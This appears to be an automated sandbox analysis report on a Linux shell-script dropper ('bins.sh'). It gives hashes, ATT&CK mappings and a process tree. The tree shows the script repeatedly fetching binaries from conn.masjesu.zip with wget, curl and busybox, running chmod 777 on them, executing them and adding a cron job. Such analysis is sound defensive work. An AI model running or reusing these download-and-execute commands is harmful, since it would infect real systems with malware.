33d1edad18461bc7548b110297a3b2ad8a826ed004d026c71f7d0a23576b30a7

Analysis

max time kernel
150s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
09/11/2024, 08:47

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General

Target
bins.sh
Size 10KB
Sample241109-kpvvmstrbm
SHA256 33d1edad18461bc7548b110297a3b2ad8a826ed004d026c71f7d0a23576b30a7
MD5 c8f9e1152e00863bacf256ed5f4c77e9
SHA1 e6e60f4df4205b91ab720b3f39512fb33d7f440e
SHA512 1d57dcde0165fc18345ef0106bfe8871e1f1beec69fca83e9dcb034c142e0dc10fbbc6fb3b41b0b6b077c4f727ee9d6909cf29c4767a5bb29d641ca32df36bad
SSDEEP 192:WWzeHHKB1Dqvs//MBj8N5VorTKO//MB15VorT+G+HHKB1Jvy:xzeHHKB1Da8N5VorTKh5VorTf+HHKB1w
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (1528) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1010	chmod
744	chmod
768	chmod
805	chmod
851	chmod
870	chmod
886	chmod
998	chmod
813	chmod
859	chmod
878	chmod
894	chmod
989	chmod

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b	745	J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
/tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB	769	zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
/tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI	806	UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
/tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU	814	EplximRG78lPSPojYmUgyc957YaLsSA8nU
/tmp/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw	852	ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
/tmp/3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY	860	3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY
/tmp/JA9zPkrllQwa1PS9I17rHRJUsKWTaOyBWn	871	JA9zPkrllQwa1PS9I17rHRJUsKWTaOyBWn
/tmp/V442X2eRVrq9dhnKVblcDjByc6krVGJW7u	879	V442X2eRVrq9dhnKVblcDjByc6krVGJW7u
/tmp/DVNkRmnWtP13ahZypSBFrOA8B7LHwkbrSD	887	DVNkRmnWtP13ahZypSBFrOA8B7LHwkbrSD
/tmp/2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7	895	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
/tmp/ABArdmmfCnMvs2h1sSnnZP9OYrHCAuahZ6	990	ABArdmmfCnMvs2h1sSnnZP9OYrHCAuahZ6
/tmp/qtKvfU5HPMGHZnUR8QZg4dgmfacjTcTCQx	999	qtKvfU5HPMGHZnUR8QZg4dgmfacjTcTCQx
/tmp/S74ZIW3BwRD4IzwK7I9XDNOrzRd7QP7nMu	1011	S74ZIW3BwRD4IzwK7I9XDNOrzRd7QP7nMu

Renames itself 1 IoCs

pid	Process
896	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.P7xxjK	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/82/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/981/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/986/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1037/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/942/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/973/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1065/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1021/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1054/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1057/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/7/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/932/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/974/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1003/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/934/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/946/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/958/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/961/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/77/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1053/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/8/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/951/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/979/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1079/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1046/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1055/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/920/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/980/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1028/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/73/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1008/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1025/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/389/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/714/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/953/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1014/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1047/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1072/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1073/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/9/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/160/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/925/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/950/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1075/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/4/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/17/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1006/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1004/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/76/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/910/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/912/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/924/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1071/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/126/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/906/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/982/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/994/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1045/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/1078/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/331/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
File opened for reading	/proc/949/cmdline	2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7

System Network Configuration Discovery 1 TTPs 40 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
774	wget
883	curl
831	curl
743	busybox
791	curl
804	busybox
809	wget
847	busybox
874	wget
882	wget
885	busybox
720	wget
748	wget
1003	curl
1004	busybox
856	curl
875	curl
893	busybox
741	curl
761	busybox
988	busybox
1002	wget
819	wget
891	curl
906	curl
994	curl
997	busybox
749	curl
810	curl
867	curl
869	busybox
905	wget
993	wget
1014	wget
812	busybox
858	busybox
877	busybox
890	wget
855	wget
863	wget

Writes file to tmp directory 33 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw	curl
File opened for modification	/tmp/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw	busybox
File opened for modification	/tmp/3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY	curl
File opened for modification	/tmp/JA9zPkrllQwa1PS9I17rHRJUsKWTaOyBWn	curl
File opened for modification	/tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b	busybox
File opened for modification	/tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU	curl
File opened for modification	/tmp/V442X2eRVrq9dhnKVblcDjByc6krVGJW7u	busybox
File opened for modification	/tmp/2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7	curl
File opened for modification	/tmp/V442X2eRVrq9dhnKVblcDjByc6krVGJW7u	curl
File opened for modification	/tmp/2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7	busybox
File opened for modification	/tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB	curl
File opened for modification	/tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI	curl
File opened for modification	/tmp/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw	wget
File opened for modification	/tmp/3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY	wget
File opened for modification	/tmp/JA9zPkrllQwa1PS9I17rHRJUsKWTaOyBWn	busybox
File opened for modification	/tmp/S74ZIW3BwRD4IzwK7I9XDNOrzRd7QP7nMu	busybox
File opened for modification	/tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b	wget
File opened for modification	/tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB	wget
File opened for modification	/tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI	wget
File opened for modification	/tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI	busybox
File opened for modification	/tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b	curl
File opened for modification	/tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB	busybox
File opened for modification	/tmp/V442X2eRVrq9dhnKVblcDjByc6krVGJW7u	wget
File opened for modification	/tmp/DVNkRmnWtP13ahZypSBFrOA8B7LHwkbrSD	wget
File opened for modification	/tmp/qtKvfU5HPMGHZnUR8QZg4dgmfacjTcTCQx	busybox
File opened for modification	/tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU	wget
File opened for modification	/tmp/3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY	busybox
File opened for modification	/tmp/DVNkRmnWtP13ahZypSBFrOA8B7LHwkbrSD	curl
File opened for modification	/tmp/DVNkRmnWtP13ahZypSBFrOA8B7LHwkbrSD	busybox
File opened for modification	/tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU	busybox
File opened for modification	/tmp/JA9zPkrllQwa1PS9I17rHRJUsKWTaOyBWn	wget
File opened for modification	/tmp/2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7	wget
File opened for modification	/tmp/ABArdmmfCnMvs2h1sSnnZP9OYrHCAuahZ6	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:712
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:718
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:720
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /bin/chmod
  chmod 777 J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
  ./J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
  2⤵
  - Executes dropped EXE
  PID:745
- /bin/rm
  rm J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
  2⤵
  PID:747
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:748
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:761
- /bin/chmod
  chmod 777 zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
  ./zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
  2⤵
  - Executes dropped EXE
  PID:769
- /bin/rm
  rm zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
  2⤵
  PID:773
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:774
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:791
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:804
- /bin/chmod
  chmod 777 UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
  ./UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
  2⤵
  PID:808
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:809
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:812
- /bin/chmod
  chmod 777 EplximRG78lPSPojYmUgyc957YaLsSA8nU
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU
  ./EplximRG78lPSPojYmUgyc957YaLsSA8nU
  2⤵
  - Executes dropped EXE
  PID:814
- /bin/rm
  rm EplximRG78lPSPojYmUgyc957YaLsSA8nU
  2⤵
  PID:818
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:819
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:847
- /bin/chmod
  chmod 777 ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
  ./ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
  2⤵
  - Executes dropped EXE
  PID:852
- /bin/rm
  rm ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw
  2⤵
  PID:854
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:855
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:858
- /bin/chmod
  chmod 777 3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY
  ./3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm 3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY
  2⤵
  PID:862
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JA9zPkrllQwa1PS9I17rHRJUsKWTaOyBWn
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:863
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JA9zPkrllQwa1PS9I17rHRJUsKWTaOyBWn
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JA9zPkrllQwa1PS9I17rHRJUsKWTaOyBWn
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:869
- /bin/chmod
  chmod 777 JA9zPkrllQwa1PS9I17rHRJUsKWTaOyBWn
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/JA9zPkrllQwa1PS9I17rHRJUsKWTaOyBWn
  ./JA9zPkrllQwa1PS9I17rHRJUsKWTaOyBWn
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm JA9zPkrllQwa1PS9I17rHRJUsKWTaOyBWn
  2⤵
  PID:873
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/V442X2eRVrq9dhnKVblcDjByc6krVGJW7u
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:874
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/V442X2eRVrq9dhnKVblcDjByc6krVGJW7u
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/V442X2eRVrq9dhnKVblcDjByc6krVGJW7u
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:877
- /bin/chmod
  chmod 777 V442X2eRVrq9dhnKVblcDjByc6krVGJW7u
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/V442X2eRVrq9dhnKVblcDjByc6krVGJW7u
  ./V442X2eRVrq9dhnKVblcDjByc6krVGJW7u
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm V442X2eRVrq9dhnKVblcDjByc6krVGJW7u
  2⤵
  PID:881
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DVNkRmnWtP13ahZypSBFrOA8B7LHwkbrSD
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:882
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DVNkRmnWtP13ahZypSBFrOA8B7LHwkbrSD
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/DVNkRmnWtP13ahZypSBFrOA8B7LHwkbrSD
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:885
- /bin/chmod
  chmod 777 DVNkRmnWtP13ahZypSBFrOA8B7LHwkbrSD
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/DVNkRmnWtP13ahZypSBFrOA8B7LHwkbrSD
  ./DVNkRmnWtP13ahZypSBFrOA8B7LHwkbrSD
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm DVNkRmnWtP13ahZypSBFrOA8B7LHwkbrSD
  2⤵
  PID:889
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:890
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:893
- /bin/chmod
  chmod 777 2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
  ./2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:895
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:897
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:898
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:899
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:900
- /bin/rm
  rm 2y0BKVQ8ABulBsmWa4TcVfAyzx3OuFdaO7
  2⤵
  PID:902
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ABArdmmfCnMvs2h1sSnnZP9OYrHCAuahZ6
  2⤵
  - System Network Configuration Discovery
  PID:905
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ABArdmmfCnMvs2h1sSnnZP9OYrHCAuahZ6
  2⤵
  - System Network Configuration Discovery
  PID:906
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ABArdmmfCnMvs2h1sSnnZP9OYrHCAuahZ6
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:988
- /bin/chmod
  chmod 777 ABArdmmfCnMvs2h1sSnnZP9OYrHCAuahZ6
  2⤵
  - File and Directory Permissions Modification
  PID:989
- /tmp/ABArdmmfCnMvs2h1sSnnZP9OYrHCAuahZ6
  ./ABArdmmfCnMvs2h1sSnnZP9OYrHCAuahZ6
  2⤵
  - Executes dropped EXE
  PID:990
- /bin/rm
  rm ABArdmmfCnMvs2h1sSnnZP9OYrHCAuahZ6
  2⤵
  PID:992
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/qtKvfU5HPMGHZnUR8QZg4dgmfacjTcTCQx
  2⤵
  - System Network Configuration Discovery
  PID:993
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/qtKvfU5HPMGHZnUR8QZg4dgmfacjTcTCQx
  2⤵
  - System Network Configuration Discovery
  PID:994
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/qtKvfU5HPMGHZnUR8QZg4dgmfacjTcTCQx
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:997
- /bin/chmod
  chmod 777 qtKvfU5HPMGHZnUR8QZg4dgmfacjTcTCQx
  2⤵
  - File and Directory Permissions Modification
  PID:998
- /tmp/qtKvfU5HPMGHZnUR8QZg4dgmfacjTcTCQx
  ./qtKvfU5HPMGHZnUR8QZg4dgmfacjTcTCQx
  2⤵
  - Executes dropped EXE
  PID:999
- /bin/rm
  rm qtKvfU5HPMGHZnUR8QZg4dgmfacjTcTCQx
  2⤵
  PID:1001
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/S74ZIW3BwRD4IzwK7I9XDNOrzRd7QP7nMu
  2⤵
  - System Network Configuration Discovery
  PID:1002
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/S74ZIW3BwRD4IzwK7I9XDNOrzRd7QP7nMu
  2⤵
  - System Network Configuration Discovery
  PID:1003
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/S74ZIW3BwRD4IzwK7I9XDNOrzRd7QP7nMu
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1004
- /bin/chmod
  chmod 777 S74ZIW3BwRD4IzwK7I9XDNOrzRd7QP7nMu
  2⤵
  - File and Directory Permissions Modification
  PID:1010
- /tmp/S74ZIW3BwRD4IzwK7I9XDNOrzRd7QP7nMu
  ./S74ZIW3BwRD4IzwK7I9XDNOrzRd7QP7nMu
  2⤵
  - Executes dropped EXE
  PID:1011
- /bin/rm
  rm S74ZIW3BwRD4IzwK7I9XDNOrzRd7QP7nMu
  2⤵
  PID:1013
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ywhjNrjCxXSPdQnfmUu3xSzKZqagd5YX2E
  2⤵
  - System Network Configuration Discovery
  PID:1014

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

